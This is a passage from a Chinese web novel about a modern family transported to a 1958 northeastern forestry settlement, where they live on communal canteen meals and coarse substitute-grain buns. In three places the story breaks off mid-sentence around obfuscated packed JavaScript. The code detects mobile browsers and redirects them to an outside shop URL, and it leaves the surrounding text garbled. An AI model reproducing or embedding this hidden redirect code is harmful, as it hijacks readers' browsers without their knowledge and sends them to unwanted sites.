《全家穿五零闷声发大财》 1. 穿越 “砰!!” 许梓晨浑身一激灵,猛地睁开眼。 他看着糊满报纸灰突突的屋顶,一时间没反应过来。 这,这是被村里人救了? 这个村也太穷了吧,还用五八年报纸糊屋顶呢?? “哦哦哦!!”外面有小孩子的欢呼声。 对了,爸妈呢?? 自己那辆车被大卡车直接怼到屁股上,要不是底盘高,怕是直接都能挎过去了。 但就算他拼命踩刹车,也挡不住几十吨的天启四战士的冲击力,最终被撞的飞出栏杆,滚落悬崖。 无妄之灾。 想到滚落山崖的时候母亲从侧面扑过来抱住自己,父亲在后面用力抱住母亲的样子,许梓晨就忍不住哭了出来。 他被救了,他爸妈呢? 想到这里,许梓晨撑着手臂想要坐起身。 突然就发现了不对劲儿的地方。 自己,一个一米八出头的北方大小伙子,不可能被车撞了之后就缩水了吧? 这小胳膊小腿儿的,是谁?? 他惊了。 看着自己黑乎乎的小爪子,一时间大脑空白,直接失语。 “许晨,你醒了?”门帘儿撩开,打外面走进来个小男孩儿。看上去十三四岁的模样,小脸儿板出一副一本正经的样子,看长相就觉得他应该是学霸那一挂的。 他手里拿着个手绢包,随手放在炕上。 手绢包散开,露出里面白色的爆米花。 许梓晨:…… 原来外面的动静是在爆爆米花,他记得这玩意只有在庙会上才能见到。 不,不对! 冷静下来的许梓晨迅速逡巡一圈,终于发现了不对劲儿的地方。 这里到处都太破旧了,虽然不是土坯房,但也好不到哪里。墙上的糊了好多报纸,看日期都是五几年的。 五几年的报纸,且不说怎么保存下来,就这个年代的报纸,都能当文物卖钱了吧? 还有带着历史感的炕桌,炕柜,地上的木头箱子,条凳,一张老旧的八仙桌。 面前的男孩子瘦瘦的,衣服上补丁摞补丁。 补丁没有什么,只能代表穷。更重要的是他的衣服! 这种方领灰蓝色上衣,年代感真的太重了。 许梓晨敢保证,除了那些年代剧组,普通人家里怕是压根就找不到这种款式的服装了。 “许晨,你傻了?”那个小男孩看着表情呆滞的小伙伴,蹙眉道:“我去把娟姐喊进来吧。” “等,等等……” 许晨不知道娟姐是谁,他只想问,“我爸妈呢?” 小男孩思考了片刻,“叔叔跟阿姨去上班了,不过应该快回来了。” 还真有爸妈? 我这个身份…… 我穿越了…… 我要认便宜爹妈了?? 许晨的脑子乱哄哄的,有些连接不上信号,跟宕机了似的。 小男孩看着他这副模样,微微叹了口气,“你之前可能确实是摔到脑子了,咱们这里的卫生所看不了,你得去市里的大医院看看。” 许梓晨后知后觉的摸了摸头,果然在头上摸到了纱布。 他心想,我确实是穿越了,穿到了可能是五十年代的一个小男孩身上。 爸爸妈妈不知道有没有跟着一起过来。 “你要不要喝点儿水?”小男孩指了指炕上的爆米花,“吃点儿吧,娟姐抢来的。” 娟姐是谁? 是土匪吗? 许晨捂着头,心跳加速,有些接受不能。 别看看小说的时候看里面的主角穿越了之后各种分析各种大聪明花样百出的厉害,但轮到自己…… 毁灭吧! 五六十年代到底是个什么年代啊? 他看电视剧都看不到这个年代的剧情! 他爸妈都是七十年代生人,五十年代……这是他爷奶出生的年份吧?? 周围不熟悉,人不认识,还没有爸妈。 绝望的现代牛马妈宝男许梓晨,直接向后倒在炕上。 小男孩:…… “你不吃啊?那我吃了?” 他试探着问了句,见许梓晨不说话,就捏着手绢上的爆米花放进嘴里。 真香。 外面院子里传来闹哄哄的声音,片刻后门帘儿撩开,一个梳着俩麻花辫的大姑娘走了进来。 她看看炕上的许梓晨,再看看坐在炕边一边吃爆米花一边看书的顾哲,“大哲,我家小晨儿还没醒?那大夫说他这两天就能醒的啊。” 顾哲把嘴里的爆米花咽下去,才淡定道:“刚才醒了,后来又躺炕上了。我瞅着好像是脑袋被打坏了的样子。” 许娟叹气,她往外看了眼,院子里一群小崽子正在坐地分赃。 刚才爆米花那个人拎了一篮子米花走,有的爆在地上就不要了。小孩子们嗷嗷的抢,抢回来关系好的会凑在一起吃。 她从兜里又掏出两把爆米花放在炕上的手绢上,“你跟小晨的,有人敢抢就告诉我。” 她说完,甩了门帘子出去,不知道做什么去了。 许梓晨又默默地坐起来,他看着小男孩,“你叫大哲?” 顾哲莫名其妙的瞅着他,“我叫顾哲,许晨你脑袋真的被摔坏了?” 许梓晨突然开始笑,“哈哈哈你叫骨折?为什么?出生的时候发生了什么事吗?” 顾哲无语,他抓了两把爆米花放在口袋里,远离了许梓晨,坐在炕对面的条凳上,“一会儿叔叔阿姨就回来了,看你好了估计还得揍你一顿。” 许梓晨摸了摸脑瓜子,片刻道:“我想喝水。” 顾哲是个好孩子,他站起身去外间屋,一会儿端了个碗回来,里面有半碗水。 水碗放在炕桌上,顾哲张了张嘴,没忍住,还是问了,“你现在还识数吗?” 许晨一直都不爱读书,成天跟个小二流子似的在林场晃荡。 这次因为爬树从树上掉下来摔坏了头,给许家叔叔阿姨吓坏了。 许家叔叔阿姨也是倒霉,前两天老王家闺女出嫁他们去随礼,结果不知道咋的老王家跟来结亲的女婿家里打起来了。 两口子看热闹呢不小心被推沟里,脑袋都撞出血了。 听说在卫生所傻了一天,差点儿送去市里医院。 谁知道刚回到家,就听到许晨从树上摔下来的噩耗。 也是没谁了。 林场这边都想给许家安排跳个大神儿,还有个出马仙儿说许家撞客了祖宗,想让周阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685800|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨出马,说请个悲王回来。 要不是这边政府天天宣传不要封建迷信,估计周阿姨都会点头了。 许晨作为许家的长子,如果真的摔傻了…… 怕是要被林场养一辈子了。 许梓晨喝完水,抹了抹嘴,道:“我只是摔了头,不是把脑子摔出去了。” “哦。”顾哲点头,看着似乎还有点儿遗憾。 “爹,娘!!”院子里又开始闹哄哄的。 顾哲松了口气,“你爸妈回来了。”他说着抬脚就往外走,看上去有点儿不太想跟傻子玩的样子。 “大哲,别回去。”周敏一边摘套袖一边笑道:“让你娟姐带你一起去食堂吃饭,娟儿啊,你带你弟弟妹妹去吃饭,我看看你弟弟咋样了。” “嗯呐,娘,你们也得快点儿来。”许娟一手拉着顾哲,一手拽着最小的妹妹,赶鸡崽子似的把院子里的孩子往外赶。 院子里很快安静下来,周敏抬头看了看她身边的男人,两个人对上眼神,表情凝重。 许梓晨也紧张,他趴在窗户上看见那一男一女进了屋。只可惜这里的窗户是用塑料布糊的,太模糊,看不清长什么样。 完了,我要有便宜爹娘了。 他紧张的抓起一粒爆米花,放在嘴里咯吱咯吱的啃。 干巴巴的不好吃,没有奶油味。 他真的要认贼作父……呸呸呸,接盘一对新爸妈吗? 换个角度想一下,一对可怜的夫妻在茫然无知的情况下接盘了个新儿子。 这也太难受了吧? “晨晨……”门帘儿撩起来,露出一张有些熟悉又有些陌生的脸。 许梓晨惊讶的看着进来的夫妻俩,该说不说,长得跟自己爸妈七八分相似呢。 “头还疼吗?”周敏坐在炕上,看着眼前这个干瘦的小男孩,眼中满是期待,“一会儿能去食堂吃饭吗?哎哟你不知道,我今天听见了个特别可怕的消息,说什么……” 她顿了顿,“宫廷玉液酒,” 许梓晨浑身一哆嗦,“一百八一杯?” 许放,“这酒怎么样?” 许梓晨哭了,“听我给你吹,爸,妈?” 他泪如泉涌,扑到周敏怀里。 周敏嘴里心肝肉的喊着,搂着许梓晨也开始嗷嗷哭,“儿啊,没想到你也是穿越的啊?” 许梓晨:??? “啊?”什么叫做你也是穿越的?? 他惊恐的从周敏怀里挣扎出来,小心翼翼的观察,“妈??周女士?” 周敏噗的笑出声,还冒出个大鼻涕泡,“我儿,逗你玩呢。哎哟,没想到咱们一家三口,都穿越了啊!” 许梓晨:…… 好好好,还是那个正宗的周女士。 周女士又哭又笑,许先生也跟着哭了一会儿,然后道:“咱们得赶紧去食堂吃饭了,要不一会儿都被抢光了啊。” “对对对!”周敏立刻不哭了,“老许赶紧给咱儿收拾一下,我去拿碗!” “去,去哪里吃饭?”许梓晨被他爹从炕上拎下来。 真的是用拎的,十三岁的小孩儿瘦巴巴的可怜,小胳膊伸出来跟柴火棍子似的。 “去食堂吃饭,大锅饭,五八年特色,让咱们赶上了。”周敏叹气。 2. 黑窝头 从他们住的地方到食堂有段距离,路上能看见不少人拿着碗盆子往那边赶。 许放一手儿子一手老婆,儿子岁数小腿短,老婆…… “啥玩意?”许梓晨都惊了,“也就是说我现在有了个亲姐,还有一个弟弟一个妹妹,你肚子里还揣着一个小的???” 周敏笑嘻嘻道:“惊不惊喜,意不意外?你不是一直想说想要有个弟弟妹妹或者哥哥姐姐吗?如今全有啦。” 许梓晨闭了闭眼,若说独生子女想要个兄弟姐妹也是正常,但没想到一口气能来这么多。 周敏又道:“可惜了,我给你起的名字,多有年代感啊,结果呢?现在你叫许晨,听上去就毫无特色。” 许梓晨扶额,“我的名字也毫无特色好吗?一个班四十八个人,二十八个男生,八个叫子辰的。” 要不是姓不一样,那简直跟葫芦兄弟似的。 比葫芦兄弟还多一个呢。 “时代特色啊,”周敏洋洋得意,“我选了好久,合群。” 许梓晨:…… 这破名字还不如他爹,许放,听上去就特别不一样,带着一股子男主的味道。 “我宁愿叫许晨,许晨好。” 许晨对这个五八年一点儿都不熟悉,他穿来的时候还是个二十多岁的大小伙子呢,对什么年代剧一点儿兴趣都没有。 再说了,身为牛马,每天卷的要死要活,有空也会看点儿伪人短剧,或者玩点儿放空游戏消磨时间。 五八年,距离他太遥远了。 别说五八年了,八五年对他来说,那都快算是“古代”了。 周敏又叹气,“好不容易穿来一遭,我都没个金手指。看那些小说,人家穿越的都有金手指。” 许放闷声道:“我也没有。” 许晨:…… “好好活着吧,要什么金手指!” 他这个亲妈,看的那些小说比自己看的还杂。每天没事儿就把绿JJ打开,一边看一边点评,还跟其他读者吵架,人都癫了。 大锅饭的食堂真让许晨叹为观止,比他高中大学的食堂都夸张。 老的小的都挤在里面,屋里座位不够就端着碗蹲在墙根下,放眼望去感觉满眼都是人。 “娘!”许娟在人群里奋力挥舞手臂。 许放给娘俩找了个安全的地方安顿,“我去打饭!” 说完拿着碗跟冲锋陷阵一样的往人群里挤。 没一会儿许家那俩小的搂着个盖着毛巾的盆子从人群里挤出来,“娘,我们抢了好多窝头!” 许晨看着那个搪瓷盘里的窝头,黑乎乎的颜色十分反人类,“什么面儿的?黑米?” 只有五岁的许光不懂什么叫黑米,“哥,黑窝头。” 八岁的许阳是个小姑娘,扎着两根豆角小辫儿,被挤的歪七扭八。 她没搭理许晨,只是拉着周敏道:“人可多了,今天还有荤菜。我们挤不进去,姐抢了窝头用毛巾盖着,看见爹来了就让我们赶紧出来了。” 许晨问,“还有荤菜?什么荤菜?”难道是东北有名的铁锅炖? 许阳笑眯眯的道:“冬瓜炖海米。” 许晨:??? 什么玩意儿? 冬瓜炖海米也算得上荤菜了?那吃顿海带是不是就是吃海鲜了? “哥你脑子真的是摔坏了,吃海带算啥海鲜啊?”小姑娘又开始撇嘴,显而易见,她似乎不太待见自己这个亲哥,“得吃虾酱才算,虾酱是海里的虾做的。” 许晨:…… 特么的虾酱也算不上海鲜啊!! 周敏咯咯的乐,她真的是个乐天派,尤其是得知自己男人孩子都来了,那心情别提多好了。 许晨看着黑乎乎的窝头,难以想象这是窝头。 毕竟他吃过的窝头要么是金黄色的,要么是棕色栗子面的,还有淡黄色小米面的。 黑米的确实没吃过,黑成这样更是没见过。 他拿起一个窝头看了看,又嗅了嗅,表情逐渐扭曲。 “爹!爹!!”许阳一直盯着打菜的那边,看见许放往外挤,连忙蹦起来招手,生怕她爹看不见她。 许放带着许娟和顾哲,一人手里抱着个大盆子,许放还拎着个布袋子,鼓鼓囊囊的。 “可算挤出来了,”许放一脑袋的汗,“在等一会儿,就只有菜汤喝了。” 桌子上放了三盆菜,一盆炖白菜,一盆炖茄子土豆,一盆就是许阳说的那个荤菜,冬瓜炖海米。 海米几乎看不见,许放跟这个海米叫虾皮儿,说这玩意一炖就化了,顶多借个味儿。 许晨满肚子疑问,但也知道现在不是十万个为什么的时候,看着桌子上的东西,他拿着筷子眼巴巴的瞅着周敏。 周敏道:“好了,先把窝头揣起来。” 桌子上的小孩一手拿个窝头,迅速的揣进衣兜里,就连许晨都被他姐许娟儿揣了俩窝头。 这时候许放才把布袋子里的窝头倒出来,“成,先吃这个。” 许晨搞不懂,明明都是一样的窝头,为什么还有个先来后到。但他确实也饿了,拿起一个用力咬了一口…… 没咬下来。 这窝头又黏又硬,好不容易啃下来一口,嚼着仿佛在吃草。往下咽的时候更是困难,窝头扒住嗓子眼儿,压根就不想一步到胃。 “吃口菜送送,”周敏嘎嘎的笑,笑完了又道:“白菜留下来啊,先吃另外两个。” 一口窝头咽下去,许晨只觉得眼冒金星。 “能吃多少吃多少,”周敏在许晨耳边小声道:“好日子也没几天了。” “什,什么好日子?”许晨嚼着窝头面目狰狞,压根没听清他娘在说什么。 “多吃,”周敏又笑。 总之,看着儿子出丑,当妈的可开心了。 桌子上三个菜几乎一点儿油星都没有,白菜又酸又咸,土豆炖茄子皮都没刮,冬瓜炖海米都炖烂了,筷子很难夹上来,得亏周敏带了个勺,好歹让大家都吃上了“荤菜”。 许晨挣命一样吃下去了个窝头,刚想说饱了,又被周敏塞了个,“吃,多吃,能吃多少吃多少!” “拉嗓子……”许晨小声道。 周敏说,“拉嗓子和饿肚子,你选一个。” 许晨:…… 嗓子哪有肚子重要。 一布袋子窝头都被吃干净了,许晨竟然吃了三个,后槽牙都快被磨平了。 周敏把剩下的菜汤都倒进白菜盆里,反扣了个盆子,张罗着赶紧走。 “小周,这就吃完了?”有人打招呼。 周敏笑呵呵道:“嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685801|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,吃完了,剩点儿菜汤,晚上回去煮糊糊吃。” “老许,下午过来打牌啊?” 许放道:“不去了,下午站里还有活儿呢,指不定过几天要出差。” “哎哟你家晨晨这个脑袋看着挺厉害的啊?” “还行,不头晕不呕吐,能吃能喝就没问题。”周敏笑着道。 俩大人带着一群孩子,呼啦啦的回到住的地方。 许晨这才有心思观察周围环境。 这一大片都是林场的宿舍,虽然是土坯房,但盖的挺宽敞。 一个院就是一户人家,房子内部差不多得有七八十平米,还不带公摊,着实宽敞。 房子内部被改成了两室一厅的格局,也就是东西盘了炕的是卧室,中间说是客厅,其实就是所谓的“外间屋”,门口进去就是左右两个土灶,往里面是碗柜橱柜米缸面缸之类。 刚才听这里人说话的动静应该是东北,只是不知道这是东北哪个地方。 只是看着左右两边的灶台,许晨更加迷惑了。 有灶,为什么没有锅?? 锅呢? 不是说东北这边家家户户有大铁锅吗? 周敏进了门,把菜盆子放进碗柜,又拿出来个簸箩往空灶台上一放。 孩子大人轮流把兜里的窝头拿出来放在簸箩里。 放完了,周敏又把簸箩收进碗柜,“成了,娟儿,给你弟弟妹妹洗洗手,去西屋睡觉。大哲啊,你是回去睡还是在这里陪晨晨?” “姨我回家去。”顾哲说话小大人一样,彬彬有礼的样子。 “那睡醒了过来玩,晚上一起吃饭。”周敏也没劝,估计是已经很熟了。 顾哲走了,许娟收拾好弟弟妹妹,带去西屋睡觉。周敏给许晨脑袋上的纱布揭开,重新换药。 其实就是破了点儿皮,磕了个大包出来。 估计是要进行灵魂传送,导致许晨昏迷了一天一宿。 院子里逐渐安静了下来,许晨坐在炕上,再也按耐不住了,“爸,妈,到底咋回事啊?” “什么咋回事儿啊?”周敏又想逗孩子了,“窝头好吃不?” 许晨的表情登时扭曲。 周敏憋笑,发出嗤嗤的声音。 还是许放这个做亲爹的焕发了一些人性,“好了,敏敏,快别逗孩子了。” “爸!”许晨申请的扑了上去,“快告诉我,我一肚子问号,到底咋回事啊?” 许放耐心的给他解释了一下,什么叫做一九五八年。 许晨神情恍惚,“所以咱家锅都被拿去大炼钢铁了?” 周敏,“可怜的孩子,不过别着急,明年就应该能买回来。” 许晨,“所以大锅饭已经把粮食都快吃干净了?” 许放,“大锅饭养懒汉,咱们林场这边还好,如今不少地方已经都没什么吃的了。这才刚收完秋粮,只可惜交完公粮,村里都没多少剩余。” 许晨,“瓜菜代?□□?”这都是什么词儿,他压根没听说过! 周敏,“所以咱们得把食堂的饭菜带回来,又不能明目张胆的,晚上把窝头跟白菜一起煮,喝糊糊。你也别苦着脸,我跟你爸都吃了两天这破玩意了。” 真绝望,苦中作乐。 以前天天想减肥,现在天天想吃肉。 3. 大锅饭,瓜菜代 许晨在他爸妈的讲述下,终于对这个年代有了初步的印象。 总的来说就是穷。 大炼钢收了家家户户做饭的锅,然后开始吃大锅饭,养出了一群懒汉,导致粮食减产,又搞□□,谎报产量,交了公粮一个个都傻眼了。 之前他们林场好歹还有点儿粮食,如今也都开始吃这种替代粮。 所谓替代粮就是少量的苞米面,里面掺杂了麸子,磨碎的红薯粉以及打碎的苞米杆子。 麸子也就忍了,苞米杆子又是什么东西? 那玩意不是烧火用的吗?? 许晨摸着肚子,一想到自己吃了满肚子的苞米杆子,顿时感觉自己可能是一头羊。 其实许晨家在五八年还算是不错的人家,许放在林场派出所当所长,原身之前在京城当兵,后来申请来黑省参加大建设,后来跟周敏看对了眼,跟家里商量了一下,当了个东北女婿。 后来还参加了抗美援朝,当了团长,还成了战斗英雄。 一回来,职位直接提升,被分去了林场车站派出所当副所长了。 林场车站派出所是个大所,权利还挺大,福利也不错。 再加上把周敏也弄到林场上班,俩人都能拿工资,小日子过得红红火火的。 周敏家是本地的,就在林场附近的一个屯子里。 那个屯子的名字十分奇特,叫腚沟子屯儿。 许晨听完差点儿笑疯,然后又听周敏说腚沟子屯儿上面是尿脬子屯,左边是大屁股村儿,隔着一道山梁,还有个尥蹶子沟。 东北人民多奇志,这地名起的也相当奇幻了。 许晨之前刷短视频,就刷到过类似这种的。什么人家南方景点叫玉龙雪山,东北这边有个景点叫后脊梁山。 明明景色很美,但宣传出去总觉得不是那个味儿。 原身爸妈成亲,周敏跟着许放来到林场,也被安排了个工作,在林场废品收购站上班。 就连许晨他姐许娟,初中毕业之后也在林场的托儿所上班,帮人带孩子。 而许晨这个许家长子,正是人嫌狗厌的岁数。 十三岁,上学路上招猫逗狗,在学校揪小姑娘小辫儿,放学了跟着小伙伴们去林子里掏鸟窝。 许晨听完这些描述,整个人都向往上了。 城里孩子可没有什么童年,能在小区里溜达溜达都算是有地方玩了。更多的孩子要么被塞进幼儿园补习班小饭桌,到家玩手机看电视玩电脑,从学校毕业之后,连社交都不会,只会在游戏里互骂SB。 “刨去没有什么东西吃,其实这个时代还挺不错的,至少没有那么卷,也没有房贷车贷各种贷款。”许晨摸着手底下的大炕,笑道:“原来这就是东北的炕啊,还挺有意思的。诶对了爸,我现在是不是比我爷奶岁数都大了?” 许放伸手就去拿笤帚疙瘩,“你说什么呢?” “不是,爸,哎!”许晨连滚带爬的躲开,“我的意思是,爸,你是不是比我爷奶岁数都大了啊?” 许爹挥舞笤帚疙瘩的手顿了下,随即叹口气道:“一下子,我就老了。” 算算岁数,许晨四五年出生,还真比曾经的许爷爷大了两三岁呢。 周敏笑呵呵的看着,“诶,真的诶,算算岁数,咱俩算是曾祖辈的了。” 许放:…… 许晨看了看他娘微微隆起的肚子,突然又道:“哎不是,爸,你现在算是喜当爹了吧?” 笤帚疙瘩最终还是落了下来。 被收拾了一顿的许晨终于消停了。 许晨毕竟头还伤着,折腾一会儿就累了,躺在炕上迷迷糊糊的睁不开眼。 半睡半醒的时候听见爸妈说去上班,让姐姐许娟带着弟弟妹妹去林场托儿所玩。又说明天上学请假的事,但听不真切,就睡着了。 等他再醒来的时候已经到了大下午,黑省这边天黑的晚,不到三点呢,感觉太阳都挪到大西边儿了。 “许晨晨。”一道稚嫩娇憨的声音响起,“你醒了呀?喝水吗?头还疼不疼呀?” 许晨揉着眼睛看过去,看见炕边趴着个十来岁的小孩儿,长得白白净净的,脸蛋圆溜溜,眼睛也圆溜溜。留着个锅盖头,说话软软糯糯的。 “不疼了,”许晨坐起身,脑子里疯狂思索这是谁。 也不知道为什么,原身的记忆他几乎没有,这让他话都不敢说,生怕出岔子。 “季航,你把许晨吵醒啦?”上午那个一本正经的小帅哥顾哲从外面撩帘子进来,小脸蛋上写着不满。 “我才没有!”叫季航的小孩儿哼道:“我趴在这里看小人书,一抬头发现许晨晨就醒啦。” 许晨觉得这个叫季航的小男孩真挺漂亮的,像个小姑娘。就是说话有些大舌头的感觉,却也不讨厌,糯糯的。 这让他想起上学的时候班里女生看的那些乱七八糟的网络小说,里面形容的什么奶嗝受,似乎就这个样子。 他忍不住笑出声,然后就被两双大眼睛盯着看,连忙道:“大哲,季航没吵到我,我睡饱了。” “头还疼吗?”顾哲问。 “不疼了,想喝水。”许晨道。 顾哲点点头,转身出去,片刻端了碗温水进来,把碗放在炕桌上。 许晨喝了半碗水,摸摸肚子又觉得饿了。 果然,人啃苞米杆子是没办法吃饱的。 “我前两天去姥姥家啦,”季航软糯糯道:“回来之后听说你摔到了,连忙过来看。许晨晨,你太不小心啦。” 许晨摸了摸头,嘿嘿傻笑两声。 他目前确定顾哲跟这个季航应该都是林场子弟小学的学生,跟自己一样,或许还是同班,否则不可能这么熟。 季航看他醒了,就从兜里掏出几块红薯干,“许晨晨你吃,我从姥姥家带来的。顾哲你也吃一块吧。” 顾哲看了红薯干,明显的抿了下嘴,但仍旧摇头,“我不吃,给许晨吃吧。” “你姥姥家咋会有红薯干呢?”许晨问。 季航捂着嘴偷偷笑,“我姥他们跟院子里偷偷种哒,挖出来都蒸成了红薯干。我姥爷在队里喂猪,能偷摸弄回来很多小红薯,都被我姥做成红薯干了。这次我跟我妈过去,带回来一口袋呢。你吃,你们都吃。” 他说着,拿了一块塞到许晨手里,又拿了一块往顾哲手里塞。 顾哲毕竟是小孩儿,推了两下就不推了,他也饿,也馋。 三个小孩儿小口小口的嚼红薯干,脸上都是快活的笑意。 这时候的孩子也太单纯,太好满足了,一块红薯干就能特别的高兴。 红薯干晒得很干,这个年代的红薯还没有经过培育,口感没有那么甜糯。但硬硬的很有嚼劲儿,一小口能磨好长时间的牙。 许晨一边吃红薯干,一边跟这俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685802|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩儿套话。 谈话间,他知道了林场小学这几天不上课,说是什么农忙,老师们都放假了,要去农村干活儿。 林场这边很多人家里都是农村的,但他们能在这里找到工作,也进入了工人阶级,很是受人尊敬。 季航又说现在村里都在收大白菜,苞米已经晒干了交了公粮,但因为之前吹牛,导致大队都没有什么剩余。 吹牛这个词,是季航姥爷说的。 老人家有点儿先见之明,自己偷摸的藏了些粮食。白天去大队食堂吃免费的大锅饭,晚上在家偷摸的煮个苞米茬子野菜粥,好歹还能垫垫肚子,要不真是饿的睡不着。 “村里今年收成不咋地,就是因为吃大锅饭。”季航小声的说,那模样偷偷摸摸的,还挺有意思,“种地有饭吃,不种地也有饭吃,好多懒汉就不爱种地,导致地荒了不少。我姥爷说,今年冬天怕是难熬了,要等到开春才行,能去山里找些吃的。” 黑省这边只有两个季节,一个冬季,一个春季。夏天据说都没怎么上过三十度。而且半个月都热不了。 黑土地的粮食只能种一季,但土地肥沃,粮食产量高,只要好好种也不会饿肚子。 只可惜这个大锅饭搞的,开始饿肚子了。 城里工人还好,有商品粮可以吃,虽然也很糙,但至少每个月有定量,勒紧裤腰带还是能吃个半饱的。再加上工人也有粮票什么的,能去饭店里换吃的,比村里人过得好多了。 村里人要等到开春,山上冒出野菜,蘑菇之类,跟粮食一起吃,才能混个半饱。 现在村里都在刨红薯,砍大白菜。要赶在上冻之前把这些菜都收好储存起来。 而且这也不是都自己吃的,红薯和大白菜属于经济规划内的食物,一大半仍旧要交公。 “白菜帮子都舍不得扔,”季航嚼着红薯干,呲牙咧嘴的,“往年一些老梆子也不吃,就剁碎了喂鸡。如今鸡都快养不起了,老梆子也捡着好的腌了,留着过冬吃。我姥爷天天在屋里骂人。” 三小只一直在屋里聊到四点,天色都开始见黑了,季航才恋恋不舍的往外走,“许晨晨,明天我再来找你玩。” 他前脚走,后脚周敏就回来了。 周敏是靠许放的关系在林场垃圾收购站上班,每天就是收纸壳子破旧书本报纸,还有煮了不知道多少遍的骨头,鸡毛鸭毛鹅毛。至于废铁,笑死,压根都见不到了。 有点儿废铁,都被拉去炼钢厂。 但许晨忘记在哪里看过,这时候国内炼钢水平根本不行,这么多铁收回去,一点儿钢都炼不出来。 可又想到他穿来的那个时代,华国钢铁已经走到世界前沿了。 不得不说,国家愿意埋头苦干的能人还是很厉害的。 “晨晨,大哲,”周敏回来套袖都不摘,直接跟外屋把灶膛点上。 现在灶膛上没有锅,盖着块石板。平时做饭用小煤炉子,但现在东北天气冷了下来,晚上还是得烧炕的。 “我去接你姐他们,你俩在家别乱跑啊。” 东北冬天天黑的很早,周敏拿了手电筒急匆匆往外走。她那个白得的大闺女跟小儿子小闺女都还在林场那边的托儿所呢,天黑了,不放心孩子自己回来。 就算是有人作伴儿,还是有个大人才合适。 至于许放,他在林场车站的派出所上班,得五点半才能下班呢。 4. 耍流氓? 许晨听了一下午大锅饭的事儿。 他想起经济学课上老师讲过一些这个时候的政策问题,原本出发点是好的,让大家团结一心,在一口锅里吃饭,心会更齐。 但没想过,通常几颗耗子屎就能坏了一锅粥。 所以这场大锅饭的运动,到六零年就结束了。 放卫星也是,这时候的人真的应了那句话,“人有多大胆,地有多大产”,他们是真的敢编啊,亩产万斤都说得出口,甚至还有说什么十万斤的。 为了让自己的履历好看一些,就强迫农民把郁郁葱葱的麦苗,玉米苗挖出来,几亩苗密密麻麻的挤在一亩地里,叫记者来拍照,说什么大胆干大丰收。 结果呢?颗粒无收。 这几年饿死不少人,估计老百姓都把当官的恨透了。 不过许晨记得季航还说过等下雪了,村里会组织打猎这件事。 这时候可没有什么保护动物政策,山里的老虎啊狼啊熊瞎子啊,只要你敢,就能去打。 打完了肉,皮子之类,供销社会收。 东北还有很多皮货店,专门收这些皮子的。一张老虎皮卖给那些有钱人,能买好几千呢。 许晨羡慕的要死,但看看自己的小身板,觉得就这一身肉,都不够那山大王吃一顿的。 周敏接了孩子回来,就挽袖子做饭。 她回来之前,许晨跟顾哲用煤炉子烧了两壶水,把家里两个暖瓶都灌满了。 暖水瓶这东西,对于许晨来说,都算得上“老物件”了。 九几年出生的孩子,家里面条件好点儿的,已经有那个烧纯净水的热水器了。就算条件差点儿,也有电水壶。 想和热水一按按键,几分钟一壶水就烧好了,特别的方便快捷。 他小时候还听爸妈说他们小时候的事,什么用热得快在暖水瓶里煮绿豆饭,烧开了盖上盖子焖一宿,第二天早晨起来正好吃。 许晨连热得快是啥都不知道,后来搬家收拾东西,才在阳台一堆垃圾里找到个奇怪的长条物品,认识了什么叫“热得快”。 林场宿舍这边没有通电,一到晚上就得点煤油灯。 许家的煤油灯有两种,一种可以手提的,点燃后挂在房梁上按好的粗铁丝上,当电灯泡使。 还有一种像个大肚瓶子的,上面有个玻璃帽,点燃了就突突冒黑烟,房顶子都薰黑了。 周敏说这都是条件好呢,还有条件差的,用个碗倒煤油点灯。 蜡烛仍旧是奢侈品,比煤油贵多了,只有有钱人家才会买那种蜡烛照亮。 许晨表示无法理解。 有钱人家不应该拉电线通电吗? 这个年代对他来说,真的是太久远太久远了。 毕竟在潘家园,五六十年代的物件,都能算得上古董,价可不便宜呢。 晚上就吃中午带回来的菜和窝头。那些窝头切碎了倒进瓦罐里,用水煮成粥,再把剩菜倒进去搅合搅合。 然后一人一大碗。 一顿晚饭,真的是一点儿油水都没有,吃的许晨呲牙咧嘴,就闭着眼睛往下咽,感觉就算嚼了也拉嗓子,还废牙。 其实家里算是有两个半工人了,都有定量商品粮。可那粮食也是替代粮,还要交一半去林场食堂。 林场这边食堂大锅饭跟农村不一样,农村是吃免费的,这边是吃半价的。 吃自己的时候,人人都计划着吃,就吃七分饱。但吃大锅饭不一样,大家交了粮就猛猛吃,之前还堂而皇之一盆子一碗往家里端。但现在管得严了,不让完整的往回拿。 不过上有政策下有对策,大家都会多打一盆子菜剩下,当剩菜带回去吃。 剩菜没人管。 有点儿像脱了裤子放屁。 剩下的那一半替代粮都是好东西,舍不得吃,就怕不知道什么时候食堂也断顿儿了。 